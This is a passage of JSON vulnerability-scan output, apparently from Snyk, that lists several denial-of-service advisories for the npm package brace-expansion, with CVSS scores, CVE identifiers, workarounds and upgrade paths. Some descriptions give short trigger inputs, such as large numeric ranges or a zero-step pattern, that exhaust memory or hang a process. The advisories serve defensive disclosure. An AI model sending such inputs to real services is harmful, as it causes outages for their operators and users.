"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The 